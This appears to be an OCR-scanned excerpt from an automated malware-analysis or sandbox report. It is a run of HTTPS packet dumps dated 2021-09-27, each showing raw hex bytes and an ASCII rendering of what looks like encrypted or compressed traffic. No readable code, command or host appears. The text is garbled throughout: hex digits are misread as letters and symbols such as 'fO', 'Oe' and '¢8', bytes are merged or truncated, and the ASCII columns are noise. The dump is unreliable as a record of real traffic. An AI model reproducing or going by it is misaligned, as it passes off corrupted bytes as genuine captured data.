9e 76 f6 fa 22 b6 99 9f a9 d3 36 d8 2d 6e 53 77 fO d5 02 ec 96 42 8d d5 {7 64 d2 1f 47 7f 57 4e ef 49 c8 2b 42 46 72 33 fO
b1 17 76 87 3d 8c 5e c2 b0 89 06 87 6b 39 a0 88 ea e7 ac b1 31 51 f1 30 77 67 38 70 29 d8 45 b5 6b 4a ea 02 c8 46 2f 43
d6 c256 06 9b 84 c7 dc 7c 3c 11 94 ff f4 d5 e2 d9 be ba 75 c1 10 52 49 87 ad ¢8 75 95 98 49 da c2 73 52 9b 45 92 21 ba
4b d3 71 ac ad fa Oe de c3 bc 44 88 a6 83 58 d5 ea
Data Ascii: K=eqNrPOtOABLS$pB;=_0=KE!'lGU#T]5;0T<#iP1g6v"6-nSWBdGWNI+BFr3v="k91Q0wg8p)EkJF/CV|<uRIuls
RE!KgDX

2021-09-27 16:55:59 UTC 61 IN Data Raw: 68 7b 93 03 30 9e b6 08 c3 16 Oe 7b ad a9 2f 45 ab 2e 34 c2 fb 32 cd 08 9e 2b d3 b5 b9 7e 5d 00 8f 09 9d 62
35 e5 8f a5 a0 9a 44 ce 8f 87 04 fc 1c Ob 57 0f 0d bf 5e 06 b1 50 25 36 b0 32 bc c0 b6 96 cd 7f 2f el bb d6 33 d3 5¢ 95 7e
9b 8c 3a b8 6a €9 88 2a 70 17 7d 11 9b 04 8 Oe 36 52 d9 df 6d 41 c2 02 89 68 c5 17 2e 95 cf 8f 40 79 74 e0 68 fd c6 03
6d d5 6a c0 4d 76 65 6¢ 6e f9 2f 7c be 2e 39 2¢ 25 d7 41 32 42 9d 52 b9 3b 95 07 40 c3 14 c2 Oe da 29 4a 31 7d a9 e9 €9
8f 5a f9 00 2b 48 4b 22 cd d6 61 ba 6e 33 d5 95 31 15 71 d6 19 8d f6 7f 70 43 4e 70 9f f1 b1 61 c2 cd d9 dO db 17 72 a5
Oc 76 32 59 f7 aa eb 22 €8 00 4a 2a 21 34 7e 59 80 42 47 82 21 34 25 23 d0 23 el 9b 6f 31 62 10 7b f6 29 d8 b3 8b d6 3d
eb 48 6¢ 8b ac el 3e d4 Oe 28 e4 d8 c9 b7 c1 31 74 5b
Data Ascii: h{O{/E.42+~]b5DW"P%62/3\~:j*p}6RmAh.@ythmjMveln/|.9,%A2BR; @)J1}Z+HK"an31qpCNparv2Y"J*14~
YBG!4%i##01b{)=HI>(1t]

2021-09-27 16:55:59 UTC 63 IN Data Raw: 5e fc 2d e3 6b 21 7b 22 d5 18 aa 78 f5 e0 ab 46 ad 77 22 a5 b9 60 5e ea 25 a9 3¢ bf 29 ¢2 20 cb ba 47 c6 68
d5 c3 9e ec 9a 44 55 f4 5b 6d fa 31 d9 6e 56 7b d2 4c 5f 3a 54 52 40 ed 71 9d 54 56 1b 28 8b 41 66 bb 09 06 86 61 b3 bd
99 f8 f5 09 2d 20 56 f8 08 66 ed 3a 7e 34 fd 3c ¢8 7b 4d ff 3c e0 cf 38 95 db 76 03 05 84 ac f6 2b 13 d7 10 08 e4 e0 c0 dc
c5 34 84 36 f6 Oe 70 c9 81 87 d3 fa 8f 9f 47 e0 c3 11 42 b0 59 b8 12 4e 4b c2 7a 28 42 fc 3d e3 d7 4f 9c 8f b9 bd 62 08 fc
a3 ee ae al 84 7c 87 3b 73 72 90 31 2d af 3c df 8¢ 31 bc 20 cd 99 6b 7 1d 68 7d fe 45 b7 44 ea c4 af b2 c5 41 93 11 42 7
44 93 df 95 b2 07 6d ec 58 ad 22 c1 df 9f 37 9d c4 aa 6a 17 9c 69 a4 bb 99 62 60 eb 53 7b ad 74 8f da c4 ad 5e 69 6b 32
88 b8 0d ce 70 4f 24 58 09 d4 3e Oe 72 8f 4c 19
Data Ascii: A-k!{"xFw"*%<) GhDU[m1nV{L_:TR@qTV(Afa- Vf:~4<{M<8v+46pGBYNKz(B=0b|;sr1-<1 kh}EDABDmMX"7
jib*S{t"ik2pO$X>rL
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 64 IN Data Raw: 47 95 ¢5 11 89 5a 6¢ 02 2e 9f ¢5 83 53 7b 68 f6 51 a0 d9 fd 6a 5b 77 cb 5e 31 fO 68 6e f5 9e 68 b8 25 17 71 30
d1 58 99 ad 86 67 99 6¢ 86 d1 4b 7e Of cb 1b d3 10 62 29 83 ae d6 eb 88 5e f1 06 3b 5b 4e 0f e0 39 75 87 72 91 b7 67 df
ef 7d c8 70 3f e6 79 6¢ 91 56 4d 99 {7 af 08 70 dd df c5 a4 fb 73 89 15 4e 3b 70 d5 7d ed dd c0 41 58 2d 3a 08 2e 8e 93 5¢
51 be 56 20 ab 9e 8d 3 f1 9e 4d 43 00 11 7d 93 f4 ce b2 81 4 06 eb 48 7d a8 a0 fO ab ba 7d 29 61 d2 19 b3 b2 8b 75 73
6f c5 69 68 b7 a4 33 de d7 89 39 14 b1 b2 70 ed 66 fd e2 55 ae 99 b7 cb 09 3d 4e 07 e0 d1 e0 00 4d ee 95 31 bf c3 ac f8
df 01 b2 ef 1a 57 a7 6¢ c3 c9 ac 19 eb 4a 9d 0d 87 f5 30 99 Oa 9a fe ba 96 a0 90 c4 c6 77 44 27 62 1b f1 ba c4 fe e8 c4 ee
fd 58 81 5a f0 d2 fe Oc ae 76 91 e0 7c ed cO 8e
Data Ascii: GZI.S{hQj[w"1hnh%q0XgIK~b)";[N9urg}p?ylVMpsN;p}AX-:\QV MC}H}})ausoih39pfU=NM1WIJOWD'bXZv|

2021-09-27 16:55:59 UTC 65 IN Data Raw: c0 4f 39 86 d5 fc 01 Of 8d 91 c5 fc 3d d5 10 92 e6 e8 c9 e0 c7 db b7 33 e9 38 43 59 90 96 c7 4e f5 9c 58 d7 cc
00 54 b7 46 8b 21 93 5a e0 6¢ a5 5d d3 33 d0 c1 d9 2f 99 84 9e 54 04 c3 a3 ee 33 12 92 41 aa Oa el 5a 81 31 bl b4 99
d1 98 02 1f 31 ee 8d e3 ff 97 58 4a e8 d8 b5 67 e4 d8 a6 fO c5 41 b0 19 6d 74 3b 2b d6 85 31 2c 56 9a ec 1b 25 de ee a6
44 25 ¢3 3d 59 20 92 26 2e 30 b6 6¢ 5d f4 3¢ f4 b2 62 b4 fc 4b al c9 69 4f 35 2d 8f 68 52 61 42 28 Oa 07 aa b6 37 f6 92
0d 00 63 82 40 ec 20 50 a5 c3 a6 1f 1f Oc 39 4b b8 fc 56 71 71 ff a9 2e 54 82 5f d5 64 c5 ec 37 fc 7d 7e 46 ff e0 90 2e 66
2c d1 87 08 b1 21 98 8f 4d 85 ff 66 e5 fO 5b 80 a0 6f d1 ba Of 85 e7 64 82 27 73 17 9d f8 a5 b8 be 22 46 63 73 23 61 b9
7d 97 2f eb bd 7c 30 62 Oe d0 55 e5 3c 2d 86 4e 38 77
Data Ascii: 09=38CYNXTF!ZI]3/T3AZ11XJgAmt;+1,V%D%=Y &.0l]<bKiO5-hRaB(7c@ P9KVqq.T_d7}~F.f,!Mflod's"F
cs#a}/|0bU<-N8w

2021-09-27 16:55:59 UTC 66 IN Data Raw: 02 64 08 b3 9¢ 79 9d b0 52 2b 65 9f 12 f8 bc a0 a0 fc 27 da 33 30 7c 3d e5 18 29 60 24 ec 91 41 25 70 16 eb
8b 60 da 2d 31 ae 33 d6 b8 d2 33 ec 37 71 d0 50 9f f6 00 fd 9b 4a 7d c3 56 6a fa 31 44 6¢ 73 75 d7 4c d2 33 df 72 68 cd fO
3f4574 93 11 23 5e 4f 91 al 5¢ 86 61 25 84 74 e6 df 15 99 e5 50 e7 29 58 55 2b 79 21 be Oe 56 6a 4c f1 09 d7 99 2b 8d
cae4 058f9c 82 d6 d5 00 f1 01 b2 e3 f6 c7 7f ec a8 95 30 4b 2f 76 5d a9 28 d3 66 94 87 78 5d ea 8d 53 b6 50 a2 87 bl
4b c8 56 9b 42 f5 35 5d c6 d3 8d 89 b5 aa 53 ab ea b2 6 be 8f 83 63 b3 b9 e2 51 84 19 1e be 3b ca a5 6e b0 1f cd 99 6 fO
3285 4b e8 d3 9c 1f Oa 03 4f f0 4a 5d 85 16 68 fe 12 ad cf 92 ad 2c 7f b4 5f bd 25 de 5 93 6¢ 95 d4 ad 75 3a 8c 2d af a9
9e 7b 32 ed 37 e7 b6 5e 81 f5 d4 a5 b2 7c 6¢ 2b
Data Ascii: dyR+e'30|=) $A%p -1337qPJ}Vj1DIsuL3rh?Et#"0O\a%tP)XU+y!VjL+0K/NV](fX]SPKVB5]ScQ;n2K0J]h,_%lu:-{277|I
+

2021-09-27 16:55:59 UTC 67 IN Data Raw: 49 dc b7 22 58 ff a2 11 97 36 99 67 f9 53 d9 d5 45 95 c¢3 04 83 40 el 07 2c 9f c4 86 4b 6a 72 ef 79 fb dd e7 6¢
f9 67 ca 79 1a ac 40 6e 3 3c 63 a2 3d 2e 2e 37 f9 2a 3b bc 96 7b a6 e4 18 da 4a d8 36 a5 08 da 32 5a b1 89 76 d7 c4 ae
57 e2 19 05 66 58 24 d7 22 48 ae 66 Ob ae b4 ce ec 46 c4 0f 8d e7 79 66 bd 4f 44 84 e6 b0 7d c2 dc de dc e0 eb 73 a0 Oe
5d 37 64 d9 55 05 cb cb 6¢ 50 2a 2¢ Ob ¢7 59 ac 4a 58 al 47 32 33 d7 be 18 e2 8c 6e 19 03 09 85 fd 6a cd 99 89 {7 f4 e9
4b 18 26 a8 el a9 ff Oe 28 61 ¢3 f9 a3 b2 33 75 5b 7b 48 69 62 95 9f Oc d6 c6 87 1a fb Ob b2 7a 88 48 e0 f8 7b 2d 23 b7
cl 1a 2960 3d ca 55 e4 Oc 63 d7 1a 36 b9 d0 a9 fa cc 38 dO fd Ob 59 a7 59 ¢3 c9 ac 93 cb 5¢ 8e 10 ba f2 35 88 35 63 d5
ba 90 89 a7 dc d7 65 41 35 d5 Oc 9a 28 67 fe e2 e4 d7
Data Ascii: I"X6gSE@, Kjrylgy@n<c=..7*,{162ZvWfX$"HfFyfOD}s]7dUIP*,YIXG23njK&(a3u[{HibzH{-#) =Uc68Y Y\55ceA5(g

2021-09-27 16:55:59 UTC 68 IN Data Raw: 50 50 e7 29 7d 78 44 8c 2a d1 20 47 6¢ 48 c8 77 c1 4f 32 86 de fb 14 13 9e 94 ¢7 d1 9d 60 7f 62 f4 e7 d5 f8 d4
bf 4f 26 3f b3 0f 49 81 86 df 77 98 89 5d c7 c4 88 dd 00 4e 9c 5d 46 4a c2 70 92 5b 88 da d1 c1 d9 9e 8¢ b7 8d 48 56 ed
86 c6 05 b0 83 69 al 1c e7 78 b8 09 bl be 31 1e ba 17 16 20 cd 99 f6 f6 1a 77 4a €8 d9 a6 0d bb fc al fd 59 50 95 1d 4b
ea 2a 3dce 92 ad ac 72 8d d5 aa 2e f5 ff 80 52 16 2b ac 59 29 9b Oe 38 ad 88 83 5¢ d8 34 f0 b7 73 97 fc 25 8c ee 7a 47
2f9c 44 51 ¢5 61 48 31 1a 3e dd a3 1f 7f ff 1a 07 75 05 6d ec 20 4a 81 d4 b2 ce 36 ab 39 d9 b2 da 56 13 df d7 c5 20 5e ac
67 5a 63 c3 ff 32 c0 47 68 51 d1 4b e3 35 6d Oa c6 82 37 1d 22 98 89 64 b5 dc 77 cc ce 35 08 9f 69 f9 9f ad 94 ce 58 9b
88 73 1d bb c4 72 90 9f 26 ca 5a 5b 00 60 af 5f 4e
Data Ascii: PP)}xD* GIHWO2 bO&?IW]N]FIp[HVix1 wlYPK*=r.R+Y)8\4s%zG/DQaH1>um J69V "gZc2GhQK5m7"dw5iXs
r&Z[_N

2021-09-27 16:55:59 UTC 70 IN Data Raw: 8d ed 16 9b bc 4f 56 8a ee cd 99 ¢3 dc d5 d8 Oa fa 61 9a 0a 65 10 60 d9 55 6a 22 c1 47 41 22 3a 18 56 58 82
48 4a d1 46 37 25 23 d0 84 el 9b 6f 0a 03 00 7c d1 64 bl 8e 8b dc 1d e3 59 73 d4 a8 e3 a3 df 75 29 63 d8 c3 c9 02 8a 74
5168 c2 78 65 a9 b2 1a 36 c6 81 11 9e 3c 99 7a 82 43 ec e7 42 91 2b a6 cf 66 2c 4a 13 c2 2e e0 02 4b f3 77 84 be c3 a7
c3 d8 10 a4 f3 18 59 9e 7b ee cc 7b 0d fa 5¢ 8e Ob 90 8d 57 8¢ 1d 1d 01 af 96 al 82 f4 c3 6f 52 3a cd 1a f8 94 4f 62 e8 ce
5 cd 47 10 76 fd dO ec 31 3d 4f 86 94 6e e7 d3 9d bf 2d e7 ab 60 f8 f8 d5 3c a8 a4 el f5 ee cb f8 12 69 70 bb bc 6¢ 93 Ob
6c 3d 56 ad 25 ca f9 5f 30 08 97 fe 1f 87 16 c2 d9 54 33 14 be c2 b7 76 81 32 7d 6¢ 8f 2d c9 Oa c5 70 6b 87 42 dc 42 9a
5a ec 69 3b cb ad 30 b8 07 a9 ae 21 cd 77 ae f7 d4
Data Ascii: OVae Uj"GA":VXHJIF7%#o|dYsu)ctQhxe6<zCB+f,J.KwY{\WoR:0bGv1=0n-'<ipll=V%_0T3v2}l-pkBBZi;0'w

2021-09-27 16:55:59 UTC 71 IN Data Raw: ae 9 fe f7 1c e6 55 c8 86 bf 20 95 f5 al el c8 4f d4 51 60 8b 4a 06 df 94 3c 1d f2 8d c4 bc 7a c3 87 e0 el 9d ca
bd 66 23 83 14 30 b1 60 7c 71 fd 27 €0 a4 6¢ fb 78 c7 9e ca 78 7d 25 af 59 78 7e 6a 56 b6 33 16 bb a3 Oc 72 89 1e Oe 75
le 4f 5 de 50 9d de a3 Of 21 b4 2e d7 a8 c9 4f 60 74 df da 39 aa 85 65 52 10 c1 ee 36 e2 65 75 45 c4 4f 90 3f 64 15 d6 77
1e 10 2b 90 86 58 f9 d9 75 c6 ec 47 13 88 7c d9 bb bc 9c db 67 54 89 5f 04 91 da 63 ba 30 95 db 59 65 4c 66 ad 55 6¢ 08
f4 af 43 3d 74 Oc cc 61 f7 d5 3f be 54 38 63 13 4a 9a 0a 5b e0 d8 22 88 7f 81 be 24 65 59 65 d6 f2 6e 46 94 16 3c 8b a5
11 c5 1f f8 65 8a 5e 06 47 ae 3f 35 ¢4 fd 2d d8 00 8f 3c c4 a0 52 81 70 25 8d 10 80 3f 10 fb 84 bc b9 8¢ 46 c0 92 68 0d cf
04 e4 52 2a 69 56 48 69 91 5d 3b 2f a9 27 be
Data Ascii: U OQ"J<zf#0’|q'Ixx}%Yx~jV3ruOP!.O"t9eR6eUEO?dw+XuG|gT_cOYeLfUIC=ta?T8cJ["$eYenF<e G?5-<Rp%?
FhR*iIVHI;/"

2021-09-27 16:55:59 UTC 72 IN Data Raw: 9e 37 9f 53 0d 2c 4e 05 45 52 e2 00 4a ed Oc 22 97 60 ad eb c3 04 8c 2f 08 5f 89 6b 4e ce a6 bb fb 48 9a Oe be
41 24 8d 17 3f 4d ba 96 ab ab 45 d3 6f 54 18 f1 0b e9 94 74 f4 f9 c5 d7 6a 4f 11 7c d6 fc f8 10 1c d1 81 e0 76 ca e5 f5 8e
2a f6 a8 5b fc €8 d9 12 2c a8 f0 fb a9 7d fa 12 65 49 38 ac 67 f6 02 Ob 4e 72 be 29 dd e0 39 07 03 9f €9 Oa e4 07 c9 b6 76
4a 17 ba c4 ac 15 ¢4 28 7c 6a 94 fa d7 27 f9 6f el 83 48 c9 59 3f 65 ec 69 30 01 b9 35 95 b3 7f bd 2e f4 ee bf f8 €0 14 f4
€9 f0 e8 29 b5 d2 1c 10 cb 15 14 a9 09 39 26 76 6d 7d 03 6d 94 52 a6 a8 77 03 35 da 26 fe d3 b9 al fc 2d 69 f7 30 7c Oa
5 Oe 36 a8 f3 ff 89 5f 31 66 25 a0 9a 76 c3 fb 22 b6 18 d4 a9 c2 20 5d 27 56 c1 96 f1 d5 02 ec 9d 5b 73 ce db 6d fb 2a 75
7851 c6 f5 5a c3 bl 53 4d 79 db f2 2 dc
Data Ascii: 7S,NERJ"/_kNHA$?MEOTtjO|v*[,}el8gNr)9vJ(|j'oHY?€i05.)9&vm}mRw5&-i0|6_1f%\v" ]'V[sm*uxQZSMy

2021-09-27 16:55:59 UTC 73 IN Data Raw: 59 3b 5a 9b 44 47 08 59 fd 38 f7 67 75 1d 4b 56 9e 31 63 2a 2b 89 1f 3c ba 89 81 5f 93 db 04 4b e7 4d 0Oa 8c
6b Of af 88 bc f3 70 aa 82 60 11 91 d4 5d 80 be 22 c0 81 b4 23 60 af 44 62 06 bf b3 50 33 1b 9a c5 7e €0 3d c0 93 49 2d
0a 86 75 87 f3 b2 el c5 26 65 76 1 83 2e 7c 61 8d c6 da 06 df 91 1b 25 8f 6¢ Oa ca 1d f9 42 09 a0 07 6b b8 2a 23 c0 ca
bc cf 08 89 42 46 be 47 79 62 01 97 1c 89 59 11 Oc 87 b6 a0 f5 df c9 92 7f 16 dd 01 1e 42 Of 4a cO 5b 06 bd 33 bl 24 b6
34 be c1 dc 60 ce 53 2f f0 a4 fa be c0 5a 9f 7e 91 83 ¢3 91 20 f5 8f 28 51 e4 79 7e 9b 1e 99 20 8a 44 d8 d5 4f 86 c9 71 al
42 111 3d 94 d5 9b 61 f5 76 e0 7f 94 {7 ff 6¢ ff 77 da 58 14 c3 48 6¢ f3 3a 68 a9 2c 35 43 12 d3 5e 3d ad 97 6f b9 5d aa
d3 4d da Of d8 1f Oc 2b 45 3a 8a b9 ca d2 f6 a8 1d
Data Ascii: Y;ZDGY8guKV1c*+<_KMkp']"# DbP3~=I-u&ev.|a%I|Bk*#BFGybYBJ[3$4 S/Z~ (Qy~ DOgB=avliwXHI:h,5C"
=0]M+E:
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 75 IN Data Raw: 92 6¢ 99 27 1a 5f 65 be 33 db 76 47 30 16 b7 48 1b e8 1c e6 c8 4f 5e 87 90 dd ac 09 bd aa 55 7b 9e 24 d2 d2
c4 58 el 82 6a ce 54 17 57 c4 5d 3b df b3 50 85 a4 a9 af 38 e0 fa a9 e3 f6 1a Oe 16 09 21 b5 97 fa 2b 11 d8 0f 16 b7 19
1c a8 4a 6d 7b ab a2 86 40 98 b5 75 a0 35 9b 18 ea fb 1e a5 fc 2b f5 7a 37 7c 3d f5 1a 22 7d da 5¢ 89 50 3b 4e b9 ba 9a
7c d1f233 bl 0c b7 0cc6 20 cd 31 dbcé 77 f0d4 11 ed 8¢ 4b 65 fc 73 69 fa 37 e7 6e 41 70 el 4e eb 88 53 4d 62 d9 d9
3a 50 56 81 2f 01 59 4f 9b 88 12 92 75 07 0f 9e e7 d5 37 2d 31 51 ed 30 78 60 22 55 72 c0 23 7c e5 4b e0 1b ed 1f 29 9d
f7 a6 03 0a b3 0d d7 d4 19 fa 53 e7 d7 e5 df f5 cO a2 84 3b f8 37 78 5e 80 87 d5 09 ba 9a 58 d7 c4 87 42 bf 6e 9d 33 bl
4d ad 5c b6 53 fd 33 da e9 72 89 88 a0 e6 68 8a fc a5 ff
Data Ascii: I'_e3vGOHOMNU{$XjTW];P8!+Im{@u5+z7|="}\P;N|3 1wKesi7nApNSMb:PV/YOu7-1Q0x "Ur#|K)S;7x*XBn3
M\S3rh

2021-09-27 16:55:59 UTC 76 IN Data Raw: ac 1e 23 9e a0 31 eb Oe f0 70 97 €0 15 69 a9 2e 2d d4 ef 21 c2 17 9b d3 cd 93 49 af 6a 09 86 1a b0 44 39 fa
8e ba b9 8f 58 c8 9b 66 1e 2e 11 36 5b 3e 8e 5f 5f 06 a4 40 36 25 bf 2f 53 ¢7 83 6f f4 1a d6 1c 57 cc 24 c0 53 8¢ 91 9c be
caba 35 fc 8d 22 52 9a 75 13 91 16 92 3c €8 53 d0 ca 5¢ 6b c2 2e 91 44 c9 2c 2b 9f c2 86 61 44 72 e0 73 ed ee 76 73 €3
6b d1 40 06 a2 92 6f df 32 a9 82 3d 3f 2e 1c c5 5e 3b b6 90 61 be 3f 82 d8 52 d5 e0 d0 24 c3 €8 10 2b 83 a9 ed f8 99 57
e8 7c 30 4a 5a 2e d5 47 7e 94 66 01 a8 75 c4 e7 6¢ cc 08 73 €6 55 64 a5 42 5¢ 95 f9 b5 99 ¢3 f0 d1 1f ce e9 73 8b 26 49
37 61 d359 0b c5 cd 47 42 35 33 €2 38 74 88 70 09 ab 47 35 3a 30 b2 34 €9 84 68 e7 05 3d 6e f8 6e f7 b7 8b da 01 c3 66
77 bb a2 f7 e3 b8 Oe 28 61 c7 c7 ab b2 82 6b 4d 85 c4
Data Ascii: #1pi.-ljDIXf.6[>__ @6%/SoW$S5"Ru<S\k.D,+aDrsvsk@02=?.";a?R$+W|0JZ.G~fulsUdB\s&I7aYGB538t
pG5:04h=nnfw(akM

2021-09-27 16:55:59 UTC 77 IN Data Raw: 26 e3 f0 28 82 3c d8 Oc 1d 6b d9 1c 8b 2b 5d 66 25 be b0 54 c0 8 5f da 18 9f ad e8 20 cb 26 45 f1 75 f0 fd 02
fd 9d ca 73 d4 ca 7b f1 1a 5e 7f 56 73 Ob 5b ef 29 4b 46 68 ca e7 63 55 7a 85 2e 87 5e 48 83 77 07 aa 63 04 ae b5 04 dd
64 dc 3151 e3 09 46 73 28 51 3a d1 2a 5e 17 27 e0 11 c4 65 38 95 c8 da 10 02 b3 82 d6 d4 b5 d7 10 85 e3 ec f4 8 d3 af
82 cf e8 12 52 51 8a 87 d4 70 60 99 74 d3 c2 86 53 b0 5e 74 33 9d 49 €9 78 9f b0 f9 59 be c1 d3 89 a2 84 8b 41 f5 92 a3
ee 36 9a 85 49 b2 08 ¢3 76 90 b3 bl be 3b cO ba 11 3c 22 e5 8e f7 €6 10 74 67 €3 f1 98 46 f5 fa c3 c1 5b 50 9e 74 79 eb
02 95 ca 92 ab ed 67 8d c4 bd 0d ca e4 80 5f 6e f2 af 75 21 ab 99 38 aa 94 12 42 f5 36 el be 00 c1 e5 db 8b ad 53 6d 2d
bl a5 16 78 60 48 3d 1b 3e 84 a7 1f 73 ff 25 04 75 05
Data Ascii: &(<k+]f%T_ &Eus{"Vs[)KFhcUz."Hwcd1QFs(Q:*''eBRQp tS 3IxYA6Iv;<"tgF[Ptyg_nu!8B6Sm-x H=>s%u

2021-09-27 16:55:59 UTC 79 IN Data Raw: c2 2e 81 57 ea 17 29 87 3a 91 65 68 59 e2 52 18 df 86 10 f9 66 d5 63 3b ae 6f 13 8f 3c 79 a6 17 3f 2c 34 c2 6e
39 bc b4 7e bl 32 8a d1 4d cd 08 da 23 c1 38 4b 3c 7d a9 e9 ee 81 5c e2 14 3b b6 5b 08 d3 3f 6b 96 61 13 5a 6b e2 e8
47 c7 34 6e e5 02 1b bd 4f 58 b6 c4 a0 64 bf al df cf d4 c3 73 89 Oe 4e 07 63 d9 7d 14 dd cO 4f 4b 2a 3a 0a 32 73 9b 48
47 bd b9 34 09 2b a7 3f e0 9c 73 e7 05 3d 79 eb 4d cf b5 93 22 16 c7 4a 5¢c b9 83 02 al ae 70 28 61 dc e3 84 b0 88 09 25
7b c5 6d 48 be b5 0a ¢3 c6 81 1b 8a a6 cf f9 82 42 fb c8 40 a6 21 b7 e3 09 2c 48 1b ¢8 55 f3 16 40 d2 03 36 b8 d4 53 ea
e512 bc f20b 58 99 83 c2 e5 a4 ac f1 5¢ 89 02 68 e3 08 8f 36 15 fa 59 94 da fc dc d7 6b 78 12 fc 09 94 ed 67 fe ec e4 ff
e5 4e 02 46 f9 c3 c1 1a 34 5e 88 e0 7c f6 c5 8d 87 33
Data Ascii: .W):ehYRfc;0<y?,4n9~2M#8K<}\;[?kaZkG4nOXdsNc}OK*:2sHG4+?s=yM"J\p(a%{mHB@!,HU@6SX\h6 YkxgN
F4n3

2021-09-27 16:55:59 UTC 80 IN Data Raw: 38 95 db 76 14 1d ab 9d 9f 48 15 ¢8 21 82 69 el c0 c1 f3 74 95 31 €9 a2 56 56 b2 98 dc fa 98 87 6¢ ce e5 11
55a8 73 aa 92 bl 4b c2 e6 b2 4c cd 02 4e c1 d3 8d 14 a0 96 75 a8 01 a3 ee 32 2c 85 7c 8a 04 fa ee 96 2e 88 9e be c0 ba
11 a0 26 d2 a3 d7 17 1a 77 4a 74 df b9 78 d5 34 b0 e7 59 cc 92 11 47 ¢8 80 0f ce 92 31 3b 6d b0 db c9 b9 d8 fb be 75 cO
d5 ad 75 b7 85 1a 07 b4 02 7b 42 b4 2d 7b ba 6¢ d1 fb a2 11 c4 67 2e 3a 2b al 66 11 41 aa 3b 18 16 27 a4 00 31 b0 9a
06 75 Of db ea 3f 14 91 0f b2 08 37 37 3f 54 f4 fa €8 60 65 d7 59 2c 4b c3 69 d8 63 c5 ec aa ee 76 22 4e ef db 96 31 25 15
a0 15 19 23 6¢ 87 84 d0 90 c3 3c d9 97 d1 0a 80 23 ce b5 31 92 db 3d b5 e0 ef 11 88 96 6a eb 22 24 d5 13 6¢ 54 fc a9 4a
36 31 c4 2b 56 2a 25 02 cb e2 e0 34 6¢ 8d 39 b5 63 11 27
Data Ascii: 8vH!it1VVIUSKLNu2,|.&wJtx4Y G 1;muu{B-{lg.:+fA;'1u?77?T eY,Kicv'N1%#<#1=]"$ITI61+V*%4I9c’

2021-09-27 16:55:59 UTC 81 IN Data Raw: 93 09 d3 80 7b 03 3a 07 dc c0 4d 61 2a 2b 1c 2a 68 85 48 b5 aa 47 35 89 29 bf 25 f6 96 4e 5a 04 18 62 02 47
e3 b8 89 f4 26 eb 48 7d 96 9e fb ae d5 07 30 9f d9 e5 a3 b6 9f 25 42 76 c5 60 78 7a b6 Oe dO d0 ab Oa 85 bl bb 6d 7¢c 43
d3 e0 4b 9b 23 be dd f7 2d 64 11 df 58 e2 09 50 07 19 1a bd e8 af c0 72 63 8d fb Ob 55 84 7a ac e3 a4 bb f0 5e el 31 94
e2 2e 8a 72 3d d3 ba 9c 89 38 d8 d7 69 7a d8 ff 0a e3 96 37 f2 fa cc d7 b8 4e 11 7c d3 7f ed 1a 32 76 a4 e0 7c ed fb f6 ad
28 f0 aa 40 d8 65 d5 3a b1 fd d8 66 c6 57 f2 3a a7 5a 34 bb 44 aa 27 09 44 5¢ 83 27 cc €0 55 09 c5 9d ef 1d c0 31 c0 d9
54 27 3a be c2 b7 le c4 1a 7f 6a 94 33 b7 2c d3 58 eb 84 2d f0 56 17 57 fb 06 15 dd b9 2e 97 cb 83 ac 2b ef fd c1 c7 dc bf
00 11 60 07 3a 90 f0 0d 17 a4 2d 05 a7 05 33 61 7d
Data Ascii: {:Ma*+*hHG5)%NZbG&H}0%Bv xzm|CK#-dXPrcUz 1.r=8iz7N|[2v|(@e:fW:Z4D'D\'U1T"j3,X-VW.+":-3a}

2021-09-27 16:55:59 UTC 82 IN Data Raw: 67 d1 45 93 ac ce 83 40 eb 10 3f 93 ab a4 4b 6a 78 c8 c6 ff dd fb 7a d1 48 d1 49 13 ba 5f 65 fa 14 b9 a6 3d 39
43 8 d1 5e 31 bb 8d 72 de 06 80 d1 47 f4 df d5 08 dc 2e 64 05 83 a8 cf fa aa 5¢ eb 3b ef 4c 5a 22 be e4 60 96 6¢ Oc b5 66
al de 6e c5 15 a5 24 7d 66 bb 59 74 b2 e6 a2 6d d4 ef d4 c6 f8 2d 77 89 08 32 fb 61 d9 5f 13 cc cc 28 7f 28 2b 16 11 9d
84 48 46 bc 6f 1b 25 29 b5 22 d3 90 6¢ 31 c2 15 7b fa 29 03 b2 8b d6 10 fa 44 18 8f aa el a9 fd c9 2c 61 de df 8e 9c 8b 74
51 6d f6 62 6b ac 7f 26 d4 c0 ee dd 88 b1 b8 52 4b 46 ff e4 54 87 2f d8 ff Ob 2c 42 7c 2b 54 e2 0a 5e ca 16 3f b8 d2 al 84
fd 12 a4 f3 64 93 8f 7d c9 d8 aa ac 2c 4f 82 Ob 9a f3 37 b3 15 e8 2e 45 9f b2 87 ca db 7e 56 18 8¢ 0b €9 94 47 01 e8 ce ff
d6 46 00 72 d3 bl e8 1a 32 52 91 e4 6d e3
Data Ascii: gE@?KjxzHI_e=9CA1rG.d\;LZ" Ifn$}fYtm-w2a_((+HF0%)"I1{)D,atQmbk&RKFT/,B|+TA?d},07.E~VGFr2Rm

2021-09-27 16:55:59 UTC 83 IN Data Raw: c8 2a c2 4f 32 84 df f5 1b 8e a4 82 d6 d5 05 ff 2c 96 f5 ed f7 ce d1 a8 9f 19 5d 3e 50 43 ad 18 ce 75 97 98 49
d8 cf 73 52 9b 4b 8e 31 6b c7 fd 7a b4 52 e8 26 cb d2 da 8d 99 af 91 bc 89 d0 a9 ea 25 66 7d 68 b0 1b ea 61 99 31 a0 b7
20 3e bb 3d 39 36 c7 85 e4 ef 1a 66 43 ff 27 a7 6f f6 e4 a3 ee 59 41 9d 13 85 e9 06 09 d8 f8 87 23 61 84 c4 ad 2c c7 la
81 79 Oa cb 20 5e 2b 83 04 2b af 84 6e 54 f4 27 ee aa 8d 91 ¢8 d8 9a d1 71 6¢ 3c be b8 70 ac 60 64 39 33 13 83 bb €0 8a
6f 1c 02 6a 06 cb d3 20 51 b0 c1 9a f9 36 ab 33 67 b0 cd 4d 77 69 ca c8 3¢ 47 82 4f 74 7b d4 €9 20 ea 12 ac 51 d7 43 94
39 b6 9b 5¢ 8d 08 €6 d8 93 8d 4c 81 cf 71 c2 f1 97 Of 8¢ 67 ¢2 bc 86 7 d5 77 bd 52 70 25 d5 ¢9 70 a9 b8 20 bl 9a 73 23
64 be 52 7 26 fc 6d 4d 6a 10 cf e4 81 e6 2b 3e 9a 47
Data Ascii: *02,]>PCulsRK1kzR&%fthal >=96fC'oYA#a,y *++nT'ql<p’d930j Q63gMwi<GOt{ QCI\LqgwRp%p s#dR&
mMj+>G

